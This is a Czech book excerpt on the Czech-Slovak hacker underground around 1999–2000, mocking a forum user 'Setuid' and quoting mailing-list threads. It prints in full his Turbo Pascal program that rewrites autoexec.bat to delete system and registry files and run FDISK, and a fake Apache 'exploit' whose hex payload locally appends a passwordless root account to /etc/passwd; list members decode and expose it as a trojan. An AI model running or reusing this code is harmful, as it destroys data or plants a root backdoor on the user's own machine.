Po stopách česko-slovenských Hackerů Jan Janda Publikováno s laskavým svolením autora Zdroj http://sweb.cz/neknihy Úvod Cílem této knihy je zmapovat aktivity česko-slovenského počítačového undergroundu, a to od roku 1997 až do současnosti. Předtím patřil tento svět především skupině Czert, ale po zániku jejich aktivit neexistuje na českém knižním trhu žádná komplexní publikace, která by se touto problematikou zabývala. Je pochopitelné, že vše se v knize točí okolo serverů {hysteria.sk} a později také {underground.cz}. Nic významného se v tomto kyberprostoru neobjevilo. Nechybí zde i texty z různých emailových konferencí, které pro lepší dojem jsou čtenáři podány v původním tvaru, což je většinou bez diakritiky. Takže jestli se zajímáte o hacking a vůbec problematiku počítačové bezpečnosti, tak držíte tu pravou knihu. Setuid is back K další důležité události v česko-slovenském počítačovém undergroundu došlo v roce 1999, kdy na scénu vstoupil český server {underground.cz} (nebo zkráceně {www.ug.cz}). Ten se objevil jako blesk z čistého nebe a stejně tak i zapůsobil na všechny lameroidy v Česku a na Slovensku. V prvních letech jeho života bylo jeho zaměření velmi dobré, protože bez závoje odkrýval tajemství hackingu, a to především v souvislosti s operačním systémem Linux. V té době také vznikla konference o bezpečnosti, kterou ovšem zničil jeden idiot, který si říkal Setuid. Neustále tam psal svoje fekálně geniální výkaly a všechny přihlášené tím náramně bavil, snad kromě administrátora. Tento již téměř legendární český lamer měl svoje stránky někdy v roce 1997 na adrese {www.mujweb.cz/www/hacker}. Jednalo se o opravdového hackerského fundamentalistu, který odkrýval hacking opravdu bez závoje. Jen tak pro pobavení vám ukážu některé jeho výtvory. Tak například program, kterým se prezentoval má údajně zázračné schopnosti a dokáže zničit operační systém Windows. No nevím, posuďte to sami: (c)Write setuid: Nesnášíte Microsoft a jeho vůdce.Tak jste na dobré adrese.Níže uvedený program jsem napsal v Turbo Pascalu.Dokáže zničit Windows 95/98 ale i Win 3x.Jde bez problému kompilovat v turbo Pascalu.Je evidentní že je to v Dosu.Čím víc těch blbejch voken zničíme tim líp že?Programy podobného ražení posílejte hromadně formulářem na hlavní straně.Jsem jejich velký fanda. {Progam pise libovolny text do vice souboru najednou} {Chaos computer club {www.mujweb.cz/www/hacker/}} VAR Soubor : Text; BEGIN Assign(Soubor,'C:\autoexec.bat'); Rewrite(Soubor); Writeln(Soubor,'PATH=C:\DOS;C:\WINDOWS;C:\WIN95\COMMAND;C:\WIN95;C:\WINDOWS\COMMAND'); Writeln(Soubor,'ATTRIB -R -S -H IO.SYS'); Writeln(Soubor,'ATTRIB -R -S -H C:\WINDOWS\USER.DAT'); Writeln(Soubor,'ATTRIB -R -S -H C:\WINDOWS\USER.DA0'); Writeln(Soubor,'ATTRIB -R -S -H C:\WINDOWS\SYSTEM.DAT'); Writeln(Soubor,'ATTRIB -R -S -H C:\WINDOWS\SYSTEM.DA0'); Writeln(Soubor,'DEL IO.SYS'); Writeln(Soubor,'DEL C:\WINDOWS\USER.DAT'); Writeln(Soubor,'DEL C:\WINDOWS\USER.DA0'); Writeln(Soubor,'DEL C:\WINDOWS\SYSTEM.DAT'); Writeln(Soubor,'DEL C:\WINDOWS\SYSTEM.DA0'); Writeln(Soubor,'FDISK'); Close(Soubor); Assign(Soubor,'C:\windows\win.ini'); Rewrite(Soubor); Writeln(Soubor,'FILE EXIT'); Close(Soubor); Assign(Soubor,'C:\windows\system.ini'); Rewrite(Soubor); Writeln(Soubor,'FILE EXIT'); Close(Soubor); writeln('Rezidentni cast programu instalovana do HMA.Restartujte pocitac.'); END. Tím zdaleka nekončí výčet názorů tohoto člověka. Tady je několik dalších: Write setuid(c): Názor na "pořad" {Z@vináč} To co předvádí Česka televize je katastrofa. Nejvíce jsem se zasmál když "genialní" moderátor Šíma doporučoval "genialní" program Winzip. Asi ještě nikdy nepoužíval Tar nebo gzip. Už mě sere psát ty zasraný háčky a čarky. Jdu to napsat v editoru VI. Zajimavý je i zájem pana moderátora o ženy. Pan Šíma zůžil Internet na porty 80 a 25. Na portu 80 naslouchá www server a na portu 25 sendmail. Pane Sima!!! Internet není jenom to debilni WWW ale i jine porty jsou zajimavé. Řiká vám něco port 31337. Doporučoval bych cely jeden "{z@vinac}" věnovat tomuto portu a ne jenom ten debilní 80. Cele ladení tohoto programu je silne perverzní až uchylné.Vše se toči jenom okolo HTTP://WWW... je to hrozný. V jednom dílu tam byl "zastupce" Intelu a tvrdil, že Pentium 3 je "optimalizováno" pro Internet. Údajne půjde s timto procesorem internet rychleji. Je to na nějaký 3D web nebo co to tam kecal za kraviny. Tak to už budeme mít 3D hry a ještě 3D web. Hlavně, když ty procesory někdo koupí že? Kurvy. Názor na "pořad" Extravyzva.cz Tak tady je to jasné. Česká televize tvrdi, že pro příznivce Internetu připravila dva pořady. {Z@vinač} a extravýzva.cz Tento pořad má společného s Internetem jen to, že tady děti běhají po sněhu a na zádech mají napsáno HTTP://WWW. Bez komentáře. Teď jsem si vzpoměl, že je tady jestě program "game page". Tento program si všíma her. Oni ty "genialní" hry také potřebují genialní hardwar, ale o tom se v tomto pořadu vůbec nehovoří."Geniální" moderátoři tohoto programu pouze chválí zabijení a vraždy u těchto her. A to prosím vysílá Česká televize, kterou si platíme fuj!! Prijdete do obchodu, koupite si hru, doma si ji pustíte a ona nejde. Potřebuje minimálně "Pentium II 266". A zase na tom vydělá firma Intel. Názor na antivirové firmy Tady je to také úplně jasné. Problém těchto firem spočívá v tom, že 32-bitové operační systémy jsou mnohem odolnější vůči klasickým virům, které známe například ze 16-bitového Dosu. Proto si vymyslely tzv. "emailové viry". V podstatě se jedná o nesmysl, protože nic takového neexistuje. Stačí nespustit přílohu emailu a nic se vám nemůže stát. Ale o tom raději mlčí a stále valí lidem šrouby do hlavy, protože se tím živí. A lidé vesele kupují počítače i s programovým vybavením, kde kromě Windows je také nějaký ten antivirový program, který pochopitelně také zákazník zaplatí. Jenže my, co jeden poze na příkazovém řádku Linuxu máme naštěstí úplně jiné problémy že? Názor na kartel "Wintel" Toto zlodějské uskupení (microsoft a intel) má jeden jedinej cíl, a to je tahat s lidí penize. Ale nás co jedeme ve znaku, tohle nesere, nám stači počíteč 386. My na ně serem. Linux jede i na této konfiguraci.V jednom našem "genialnim" IT periodiku jsem se dočetl, že počítace s Pentiem 75, 90 a 100 plus 16 M ram, jsou již dnes nepoužitelné. CHA CHA. Možna na ty debilní "windows98 nebo na ten skurvený X server v Linuxu (KDE). Nevím jak vy, ale já rozhodně nehodlám mačkat debilní tlačítka od Gatese. Názor na "Pentium 3" Cílem rozšiření informací o tom, že Pentium 3 může identifikovat každého uživatele je zvýšit prodej Pentia 2. Jak jsem na to přišel? Protože do nich vidím jako do hubenejch koz. Lidé si řeknou: Pentium 3 si nekoupím, mohli by mě identifikovat. Musim si rychle koupit Pentiun 2. A to zvýší zisky Intelu. Cha Cha. Co tumu řikás Andy Grove nebo jak se to píše? Názor na Naše "IT periodika" Je to jedna banda lumpů. Pořád píší o těch "windows". Cílem je tahat z lidí penize. Tyto média ve spojení s "firmou" Microsoft programově nutí uživatele kupovat nový hardwer. Jenže my, co jedeme ve znaku, tak na vás SEREM. Názor na "TV NOVA" Navštívili jste nekdy WWW "stranky" TV Nova? Při mé první a poslední návštěvě tam měli jediný zdroj informaci, a to bylo počítadlo přístupů. TV Nova ignoruje Internet. Proc? Internet je pro ni konkurence. Pan generální ředitel Železný moc dobře ví, že velká síla Internetu je v jeho interaktivite. Každý, kdo má Internet ví, že může prezentovat své názory, vydávat svoje www stránky, zůčastňovat se diskusnich fór a jiné. Tato interaktivita může způsobit takovou zavislost, že člověk úplně ztratí zájem o neinteraktivní media jako je televize, rozhlas a jiné. Z toho má pan Železný asi noční můry. Jenomže pan Železný to vyřešil geniálně. Chybějicí interaktivitu nahradil ve svém "genialnim" pořadu volejte řediteli pomoci šachů. Hraje s diváky šachy. Já si ale myslím, že si dělá s lidí blázny. Názor na "porušováni autorských práv" Máte doma počitač? Tak už jste podezřelí. Máte "vypalovačku" ? Tak už vás sleduje naše "genialni" BIS. V nejbližší době k vám vtrhne "útvar rychlého nasazení",ozbrojený samopaly ze Sovětského svazu a s kuklami na hlavách. Stačí, když vás někdo anonymně udá a jsou tam. Klidně může i lhát. Když nic nenajdou, tak se vám stejně neomluví. Tak tento příběh jsem si samozřejmě jenom vymyslel. To se v naši "demokraticke" zemi nemůže stát. Ano, je to težké, když má někdo zájem o hudbu a chce si koupit dobré CD, které stojí i 1000 korun a plat má 6000 korun. Pak se objeví někdo, kdo toto CD prodává za 150 korun - nekupte to. Já toto dilema reším tak, že mě hudba nezajímá. Ano, chceme do Evropske Unie (EU)? Tak se musí přizpůsobovat ceny. Měli by se přizpůsobovat i platy? Ano, ale jenom někomu. Např. vedoucím pracovníkům krachujících státních podniků (vytunelovaných), vedoucim pracovnikům zadlužených bank, a tak podobně. Tito lidé už v EU dávno jsou. Takový "genialni" bankéř s motýlkem, s platem 200 tisic si snadno koupí CD za 1000 korun. Teď mě napadlo, proč se jednomu našemu "geniálnimu" prognostikovi nechce do EU!! V Evropské unii nemají někteří ústavní činitelé 10x vyšší plat než je plat průměrný v dané zemi. To, že nejsme v EU mnoha lidem vyhovuje.Tady mají obrovské platy a žijí si jako králové. V EU by takové rozdíly nebyly možné. Oni i platy v policii nejsou malé. Takový vyšetřovatel "softwároveho pirata" má alespoň dvojnasobek průměrného platu. Nakonec to dopadne tak, že ti bohatí "honi" ty "chudé". Nechci tento příspěvek končit tak černě. Možná je to všechno jinak. Když si vzpomenu, ze po "Sarajevském atentatu" na Václava Klause křičeli důchudci před budovou ODS - Václave nedej se !!! Václave nedej se !!! Důchodci přeci namají tak velké platy. Asi peníze nejsou všechno. Takže na konec Čest práci. Budou čtenári těchto stránek pronásledovani?" Ano, je to možné. Média vytvořily obraz o Internetu, jako informační médium, které přináší informace přes HTTP://WWW. Maximálně ješte elektronická pošta. Jestliže někdo najednou pracuje ve znakovém režimu LINUXU je podezřelý. Každý "normálni človek" si položí otázku. Co tam dela když nemá www? Já bych mu odpověděl HOVNO. Ale chci být slušný a problém rozebrat. Obecně to lze říci asi takto. Nedělejme si o světě, ve kterém žijeme nějaké velké iluze.Vše tady je řízeno pomocí informací. Každý člověk přijímá a vysílá informace. Osobnost každého člověka nejméně z 50 procent utvořily informace, které na něho během života působily. Máme tendenci brát informace, které na nás působí s "oficiálních médii" jako pravdivé. Respektive jako informace, které na nás mají největší vliv. Člověk proti tomu musí bojovat. Jestliže těmto informacím podlehneme, ztratíme svoji identitu.Všechny informace, které k nám putují z okolí je třeba brát s rezervou. A to platí i ve škole. Extremisté v tomto směru dokonce všechny informace, které neřikají oni, jsou pro ně neprátelské. Chovaní každého člověka řidí informace. To může někdo zneužít. Např. druhá světová válka vznikla tak, že původcem byla ekonomická krize. Pak prišel informačni demagog (Hitler) a začal pomocí informací působit na lidi. Výsledek známe všichni. Lidé jsou jenom informační stroje, které informace vysílaji a přijímají. Většina informací které človek přijímá jsou pro něho cizí a nepřátelské. Je třeba proti nim bojovat. Když se vratíme na začátek tohoto článku, tak vidíme, že informace mohou z internetu udělat úplně něco jiného než chceme my. Proto serem na "oficiální média". Proč se snažim co nejméně pít pivo? Jednou jsem četl v jednom časopise o soukromém životě několika vedoucich pracovniků jednoho našeho velkého pivovaru. Psali o nich, že jsou mladí , asketičtí , ABSTINENTI , nekuřáci, pravidelně sportují, udržují si tělesnou váhu, souloží jenom se svou ženou a samozřejme mají vysokoškolské vzdělání. Hodně spoří a neradi půjčují peníze. Jejich oblíbená značka auta je sportovní Bavorák. Možná takoví nejsou všichni, ale i kdyby tam byl takový jeden, tak už bych to jejich pivo nikdy nepil. Paranoidní IT specialisté No tak snad souhlasíte s tím, že to je úplný debil. Ale ještě jsem vám slíbil něco z té konference na serveru ug.cz, když tam tento lameroid psal. Kupodivu ho neignorovali, ale čile s ním komunikovali. Opět se omlouvám za chybějící diakritiku, ale v těchto konferencích to jaksi neletí. Tady je malý příklad: Roman Fiser wrote: > > Pokracovani skvelych novinek od setuida .. ale pozor co když pocitac > ktery vyuzijete ke klonovani budou sledovat hackeri placeni KGB, jak se > tak jistojiste deje na 70 % vsech Vazeny pane Fiser, Vase ironie neni vubec na miste. Mozna jeste pred nekolika dny, pri cteni clanku na {underground.cz/clanek.html}?id=220 si mozna nekteri z Vas tukali na hlavu, ale ted po hacku ceskymobil.cz a isdn.cz, budou Vase emoce jine. Moje slova se naplnila. Pravdepodobne se nejedna o agenty KGB, ale to nevadi. Ja jsem verejnost varoval. Mam jenom obavy, aby isdn.cz nebyl jenom druhy v dlouhem poradi. BTW zda se, ze medialni hvezda skupiny CZert konci. Velmi mne zaujal "vzkaz" na {www.iport.cz/i-styl/inet/hack000106.html} no czert, no dastych, 100% binary division. No.. to tak preci "partizan" pajkus nemuze nechat viz {underground.cz/clanek.html}?id=222 I kdyz ta slova "tuna je puvodni stranka"..... v cestine by to znelo "tady" nevim... nevim.. setuid ________________________________________________________________ Get free email and a permanent address at {www.netaddress.com/}?N=1 Zdar vsem, Mam pro Vas sokujici informace. Urcite znate www servery Apache. Zda se, ze jeden exploit, urceny puvodne na verzi Apache/1.3.4 jde upravit tak, ze muze ohrozit jejich dominantni postaveni na Linuxovych systemech. O co jde? Tento exploit normalne funguje tak, ze na vyse uvedene verzi serveru Apache, hodi remote root shell. Dela to tak, ze do /etc/passwd exportuje tento radek: hakr::0:0::/:/bin/sh Na zaklade tohoto radku a klasicke buffer overflow technologie, Vam hodi remote root shell. Upravou tohoto exploitu lze dosahnout toho, ze tento exploit Vam sice nehodi remote root shell, ale zase vyse uvedeny radek pise do kazdeho souboru /etc/passwd tam, kde bezi nejaky www server Apache. Vyzkouseno na verze Apache/1.1.1 az Apache/1.3.9, ktery bezi tusim na Linuxu Red Hat6.1cz. Kazdy kdo rozumi Unixu vi, ze je to velky problem. Ten kdo tento exploit vlastni, ma k dispozici zbran tezkeho kalibru. Jak je to mozne? Tento upraveny exploit vyuziva toho, ze jedna kopie httpd, musi byt spustena s pravy roota. Je to proto, ze k portum mensim nez 1024, smi pristupovat jenom uzivatel s UID nula (root). Prave teto skutecnosti tento upraveny exploit vyuziva. Co k tomu dodat? Rekl bych, ze je to katastrofa!! Samozrejme chapu, ze bez zverejneni tohoto exploitu je to jenom plane plkani. Zase ale musite uznat, ze se jedna skutecne o mocny nastroj, s kterym by nekdo mohl na Internetu udelat peknou paseku. Mozna take proto, ze ovladani exploitu je dabelsky jednoduche. Lze samozrejme zverejnit puvodni neupraveny exploit, protoze jeho uprava neni trivialni zalezitost a prumerny lamer to nezvladne:)). setuid Tak tady je ten exploit. Neupraveny!!: /* remote apache 1.3.4 root exploit (linux) */ #include #include #include #include #include #include #include char shellcode[] = "\x65\x63\x68\x6f\x20\x68\x61\x6b\x72\x3a\x3a\x30\x3a" "\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x20" "\x3e\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"; #define NOP 0x90 #define BSIZE 256 #define OFFSET 400 #define ADDR 0xbffff658 #define ASIZE 2000 int main(int argc, char *argv[]) { char *buffer; int s; struct hostent *hp; struct sockaddr_in sin; if (argc != 2) { printf("%s \n", argv[0]); exit(1); } buffer = (char *) malloc(BSIZE + ASIZE + 100); if (buffer == NULL) { printf("Not enough memory\n"); exit(1); } memcpy(&buffer[BSIZE - strlen(shellcode)], shellcode, strlen(shellcode)); buffer[BSIZE + ASIZE] = ';'; buffer[BSIZE + ASIZE + 1] = '\0'; hp = gethostbyname(argv[1]); if (hp == NULL) { printf("no such server\n"); exit(1); } bzero(&sin, sizeof(sin)); /* hmm zacina klicova cast pro upravu */ bcopy(hp->h_addr, (char *)&sin.sin_addr, hp->h_length); sin.sin_family = AF_INET; sin.sin_port = htons(80); s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (s < 0) { printf("Can't open socket\n"); exit(1); } if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) { printf("Connection refused\n"); exit(1); } printf("sending exploit code...\n"); if (send(s, buffer, strlen(buffer), 0) != 1) printf("exploit was successful!\n"); else printf("sorry, this site isn't vulnerable\n"); printf("waiting for shell.....\n"); if (fork() == 0) execl("/bin/sh", "sh", "-c", shellcode, 0); else wait(NULL); while (1) { /* shell */ } } ____________________________________________________________________ Get free email and a permanent address at {www.netaddress.com/}?N=1 Zdar vsem, Mam pro Vas opet velmi zajimave informace. Nekteri z Vas urcite vedi, ze v polovine roku 1998 bylo oznameno, ze byla prolomana ochrana identifikacniho kodu pouzivaneho v systemu mobilnich telefonu GSM. Jinak receno, byla potvrzena zprava, ze lze klonovat SIM-karty (subsctriber Identification Module). Pred nekolika dny, nekteri hackeri okolo Nemeckeho Chaos computer clubu oznamili, ze maji konecne zarizeni, ktere dokaze emulovat tuto SIM-kartu. Tato karta obsahuje procesor, ve kterem je obsazen 128 bitovy identifikacni kod. Byl objeven zpusob, jak tento identifikacni kod zjistit. Bezpecnost v sitich GSM je postavena na tom, ze je treba chranit tyto algoritmy, pred "nepovolanymi osobami". A tady je problem. Nepodarilo se to. Cely utok na SIM-kartu trva asi 7 hodin, protoze je nutne do karty vysilat tzv. otazky a prijimat odpovedi. Samozrejme ze je nutne pouzivat specialni software, napsane jak jinak nez v cecku v Linuxu. Cele zarizeni ma zatim dost partizansky tvar, ale funguje. Pomoci specialniho konektoru, se pripoji do prostoru misto SIM karty. Bohuzel toto zarizeni zatim potrebuje vlastni napajeni, protoze obsahuje klasicke integrovane obvoby a ty maji dost velky odber proudu, takze ho nelze napajet primo z baterie mobilniho telefonu. Ale zarizeni se stale zdokonaluje, takze bude urcete lepsi. Ochrana proti tomu je jednoducha...nikomu nepujcovat SIM kartu. Ale SIM karta, nez se dostane k Vam, projde rukama mnoha lidi. Ti mohou Vasi kartu naklonovat a volat na Vas ucet. Toto je zatim hudba budoucnosti, ale casem to muze byt realny problem. Jedine co nas muze tesit je, ze naklady na takove zarizeni budou vysoke a nikomu se asi nevyplati do neho investovat. Podobna situace je u emulatoru obycejnych telefonnich karet. Zatim se vzhledem k cene impulsu nevyplati tento emulator koupit nebo pripadne sam vytvorit. Mezi emulatorem telefonni karty a emulatorem pro SIM kartu je ale zasadni rozdil. Klonovat obycejne telefonni karty neni problem, protoze prenosove protokoly mezi kartou a telefonnim automatem jsou verejne a proto lze snadno vytvorit tzv. emulator telefonni karty. To je zarizeni, ktere se chova vuci tel.automatu jako tel.karta. Pri klonovani SIM karet pro GSM, musime tuto kartu fyzicky vlastnit, nejenom proto, ze je kazda jina, ale i proto, ze algoritmus neni verejny. Vzdy se bude volat na ucet neceho (nebo nekoho), co lze presne identifikovat, ale nelze zjistit, kdo toto cerne volani dela. Samozrejme lze lokalizovat mista volani. Tak napr. jste si koupili "Paeges Twist" a Vas kredit se podezrele rychle ztratil. To muze byt dusledek toho, ze Vase SIM karta je naklonovana. Oznamite to spolecnosti Radiomobil, ale ti Vam to nebudou schopni nijak vysvetlit. Zatim. setuid ____________________________________________________________________ Get free email and a permanent address at {www.netaddress.com/}?N=1 Chlape ses normalni..? setuid wrote: > Zdar vsem, > > Mam pro Vas sokujici informace. Urcite znate www servery Apache. > Zda se, ze jeden exploit, urceny puvodne na verzi Apache/1.3.4 jde upravit > tak, ze muze ohrozit jejich dominantni postaveni na Linuxovych systemech. > O co jde? Tento exploit normalne funguje tak, ze na vyse uvedene verzi > serveru Apache, hodi remote root shell. Dela to tak, ze do /etc/passwd > exportuje tento radek: > hakr::0:0::/:/bin/sh > Na zaklade tohoto radku a klasicke buffer overflow technologie, Vam hodi > remote root shell. Upravou tohoto exploitu lze dosahnout toho, ze tento > exploit Vam sice nehodi remote root shell, ale zase vyse uvedeny radek > pise do kazdeho souboru /etc/passwd tam, kde bezi nejaky www server Apache. > Vyzkouseno na verze Apache/1.1.1 az Apache/1.3.9, ktery bezi tusim na > Linuxu Red Hat6.1cz. Kazdy kdo rozumi Unixu vi, ze je to velky problem. > Ten kdo tento exploit vlastni, ma k dispozici zbran tezkeho kalibru. > Jak je to mozne? > Tento upraveny exploit vyuziva toho, ze jedna kopie httpd, musi byt spustena > s pravy roota. Je to proto, ze k portum mensim nez 1024, smi pristupovat > jenom uzivatel s UID nula (root). Prave teto skutecnosti tento upraveny > exploit vyuziva. Co k tomu dodat? Rekl bych, ze je to katastrofa!! > Samozrejme chapu, ze bez zverejneni tohoto exploitu je to jenom plane plkani. > Zase ale musite uznat, ze se jedna skutecne o mocny nastroj, s kterym by > nekdo mohl na Internetu udelat peknou paseku. Mozna take proto, ze ovladani > exploitu je dabelsky jednoduche. Lze samozrejme zverejnit puvodni neupraveny > exploit, protoze jeho uprava neni trivialni zalezitost a prumerny lamer to > nezvladne:)). > > setuid > > Tak tady je ten exploit. Neupraveny!!: > > /* remote apache 1.3.4 root exploit (linux) */ > > #include > #include > #include > #include > #include > #include > #include > > char shellcode[] = > "\x65\x63\x68\x6f\x20\x68\x61\x6b\x72\x3a\x3a\x30\x3a" > "\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x20" > "\x3e\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"; > > #define NOP 0x90 > #define BSIZE 256 > #define OFFSET 400 > #define ADDR 0xbffff658 > #define ASIZE 2000 > > int > main(int argc, char *argv[]) > { > char *buffer; > int s; > struct hostent *hp; > struct sockaddr_in sin; > if (argc != 2) { > printf("%s \n", argv[0]); > exit(1); > } > buffer = (char *) malloc(BSIZE + ASIZE + 100); > if (buffer == NULL) { > printf("Not enough memory\n"); > exit(1); > } > memcpy(&buffer[BSIZE - strlen(shellcode)], shellcode, > strlen(shellcode)); > buffer[BSIZE + ASIZE] = ';'; > buffer[BSIZE + ASIZE + 1] = '\0'; > hp = gethostbyname(argv[1]); > if (hp == NULL) { > printf("no such server\n"); > exit(1); > } > bzero(&sin, sizeof(sin)); /* hmm zacina klicova cast pro upravu */ > bcopy(hp->h_addr, (char *)&sin.sin_addr, hp->h_length); > sin.sin_family = AF_INET; > sin.sin_port = htons(80); > s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); > if (s < 0) { > printf("Can't open socket\n"); > exit(1); > } > if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) { > printf("Connection refused\n"); > exit(1); > } > printf("sending exploit code...\n"); > if (send(s, buffer, strlen(buffer), 0) != 1) > printf("exploit was successful!\n"); > else > printf("sorry, this site isn't vulnerable\n"); > printf("waiting for shell.....\n"); > if (fork() == 0) > execl("/bin/sh", "sh", "-c", shellcode, 0); > else > wait(NULL); > while (1) { /* shell */ } > } > > ____________________________________________________________________ > Get free email and a permanent address at {www.netaddress.com/}?N=1 > > _______________________________________________ > {security@underground.cz} mailing list > tento list vam prinasi underground.cz - ctete > {underground.cz/} a budete mit hodne penez. > poslete mail "unsubscribe" na adresu {security-request@underground.cz} > pokud se chcete odhlasit. -- ---------------------------------------------------------------------- Gabriel Seemann tel: +420-2-41 02 03 33 CORPUS SOLUTION a.s. fax: +420-2-41 02 03 31 Pod Pekarkou 1 {seemann@corpus.cz} 147 00 Praha 4-Podoli {www.corpus.cz} ---------------------------------------------------------------------- Dobry pokus, Setuid. Pripomina mi to stare doby BugTraq postu, ktere fungovaly podobne. P.S. Ostatni, prosim, zkuste si ten "shellcode" vytisknout ;-) Jakub CUBA++ Urbanec -- ................................................................. Univerzitni 20 tel.:+420-19-7491538 Jakub Cuba++ Urbanec 306 14, Plzen {home.zcu.cz/}~urbanec LPS-CIV-ZCU Czech Republic > zadny buffer overflow v apache neni hlasen. > > exploit publikovany setuidem je trojsky kun, ktery misto cizi masiny > hackne maximalne vasi. > > viz toto: > > > printf("waiting for shell.....\n"); > > if (fork() == 0) > > execl("/bin/sh", "sh", "-c", shellcode, 0); > > zadny shellcode, jak je videt, se tedy neposila na remote masinu, misto > toho to jsou hexakodovane prikazy shellu, ktere se execnou lokalne. ten exploit nefunguje !!! zabil by som toho vyrobcu :-) sending exploit code... exploit was successful! waiting for shell..... sh: /etc/passwd: Permission denied S pozdravom /-------------------------------------------------------------------\ { Jan 'EIS' Satko Slovenska Polnohospodarska Univerzita } } administrator Centrum Vypoctovej Techniky a Informatiky { { {satko@spu.sk} Tr. A. Hlinku 2, 949 01, Nitra, Slovensko } \-------------------------------------------------------------------/ On Fri, Jan 07, 2000 at 03:39:50PM +0100, Ondrej Suchy wrote: > > exploit publikovany setuidem je trojsky kun, ktery misto cizi masiny > > hackne maximalne vasi. > > > > viz toto: > > > > > printf("waiting for shell.....\n"); > > > if (fork() == 0) > > > execl("/bin/sh", "sh", "-c", shellcode, 0); > > > > zadny shellcode, jak je videt, se tedy neposila na remote masinu, misto > > toho to jsou hexakodovane prikazy shellu, ktere se execnou lokalne. > > jinak ten shellcode jest: > echo hakr::0:0::/:/bin/sh >> /etc/passwd > > (dekuji {otis@wilbury.sk}) neni zac, pre uplnost prikladam program: #include #include char pole[] = { 0x65, 0x63, 0x68, 0x6f, 0x20, 0x68, 0x61, 0x6b, 0x72, 0x3a, 0x3a, 0x30, 0x3a, 0x30, 0x3a, 0x3a, 0x2f, 0x3a, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x20, 0x3e, 0x3e, 0x20, 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64 }; int main( void ) { int i; for( i = 0; i < strlen( pole ); i++ ) printf( "%c", pole[i] ); putchar('\n'); } > > a jeste co se tyka toho roota: dle meho nazoru se apache jako root > forkne a povesi na port 80, vstup od klienta uz by mel prebirat proces > ktery nema prava roota, takze by to ani nefungovalo. samotny akoze exploit sa sice pokusa o buffer overflow, ale URL parsing rutiny v apache su odolne voci podobnym utokom :-) otis -- Dobre sa obesit vylucuje moznost zle sa ozenit. ------------------------------------------------------------------------------ Juraj Lutter, software developer and system administrator Telegyr Systems Slovensko, s.r.o, Plynarenska 1, Bratislava tel.:++421-7-58240245, email: {otis@telegyr.sk}, URL: {www.wilbury.sk} myslim ze klonovani karet je zalezitost leta stara a najde se v kazdem lepsim "hackers howto". neco noveho a originalniho by nebylo? ondrej -- Ondrej Suchy penize nepujcuji mailto:{ondrej.suchy@underground.cz} {underground.cz/} zadny buffer overflow v apache neni hlasen. exploit publikovany setuidem je trojsky kun, ktery misto cizi masiny hackne maximalne vasi. viz toto: > printf("waiting for shell.....\n"); > if (fork() == 0) > execl("/bin/sh", "sh", "-c", shellcode, 0); zadny shellcode, jak je videt, se tedy neposila na remote masinu, misto toho to jsou hexakodovane prikazy shellu, ktere se execnou lokalne. ondrej -- Ondrej Suchy penize nepujcuji mailto:{ondrej.suchy@underground.cz} {underground.cz/} > Vazeny pane Fiser, Vase ironie neni vubec na miste. Mozna jeste pred > nekolika dny, pri cteni clanku na {underground.cz/clanek.html}?id=220 > si mozna nekteri z Vas tukali na hlavu, ale ted po hacku ceskymobil.cz a > isdn.cz, budou Vase emoce jine. Moje slova se naplnila. Pravdepodobne se > nejedna o agenty KGB, ale to nevadi. Ja jsem verejnost varoval. Mam jenom > obavy, aby isdn.cz nebyl jenom druhy v dlouhem poradi. > BTW zda se, ze medialni hvezda skupiny CZert konci. Velmi mne zaujal > "vzkaz" na {www.iport.cz/i-styl/inet/hack000106.html} > no czert, no dastych, 100% binary division. No.. to tak preci "partizan" > pajkus nemuze nechat viz {underground.cz/clanek.html}?id=222 > I když ta slova "tuna je puvodni stranka"..... v cestine by to znelo "tady" > nevim... nevim.. vazeny pane setuid, placate nesmysly. jako zabava je to vsak dobre... jen bych vas chtel pozadat, abyste neohrozoval cleny konference zasilanim trojskych konu. to je jednoznacne poruseni netiquette a stane-li se tak jeste jednou, zakazu vam pristup. ondrej -- Ondrej Suchy penize nepujcuji mailto:{ondrej.suchy@underground.cz} {underground.cz/} > exploit publikovany setuidem je trojsky kun, ktery misto cizi masiny > hackne maximalne vasi. > > viz toto: > > > printf("waiting for shell.....\n"); > > if (fork() == 0) > > execl("/bin/sh", "sh", "-c", shellcode, 0); > > zadny shellcode, jak je videt, se tedy neposila na remote masinu, misto > toho to jsou hexakodovane prikazy shellu, ktere se execnou lokalne. jinak ten shellcode jest: echo hakr::0:0::/:/bin/sh >> /etc/passwd (dekuji {otis@wilbury.sk}) a jeste co se tyka toho roota: dle meho nazoru se apache jako root forkne a povesi na port 80, vstup od klienta uz by mel prebirat proces ktery nema prava roota, takze by to ani nefungovalo. ondrej -- Ondrej Suchy penize nepujcuji mailto:{ondrej.suchy@underground.cz} {underground.cz/} On 5 Jan 00, at 16:05, Ondrej Suchy wrote: > myslim ze klonovani karet je zalezitost leta stara a najde se v kazdem > lepsim "hackers howto". neco noveho a originalniho by nebylo? Ale ano, to FUDovani je tam dost pekne :-) Kreditni kartu naklonujete stejne dobre jako SIM kartu (chci rict mnohem snadneji, nebot tam neni cip). A taky prochazi rukama spouste lidi. Vsichni to berou jako nutne (a male) riziko - a to na sebe notabene prebiraji banky... Jeste neco je noveho? Prominte, musim jit vyzvonit statni tajemstvi hackerovi z KGB... -----BEGIN PGP SIGNATURE----- Version: PGP 6.0.2 -- QDPGP 2.60 Comment: {community.wow.net/grt/qdpgp.html} iQA/AwUBOHNuCVMwP8g7qbw/EQJ4hwCg4NokFhsMcS7jDV2X2/EKHXb2LxMAoK8C 78/VhoN3/1JrjdFJC4KFgMjl =Hrk8 -----END PGP SIGNATURE----- -- Petr Novotny, ANTEK CS {Petr.Novotny@antek.cz} {www.antek.cz} PGP key ID: 0x3BA9BC3F -- Don't you know there ain't no devil there's just God when he's drunk. [Tom Waits] On 7 Jan 00, at 13:50, setuid wrote: > Vazeny pane Fiser, Vase ironie neni vubec na miste. Mozna jeste pred > nekolika dny, pri cteni clanku 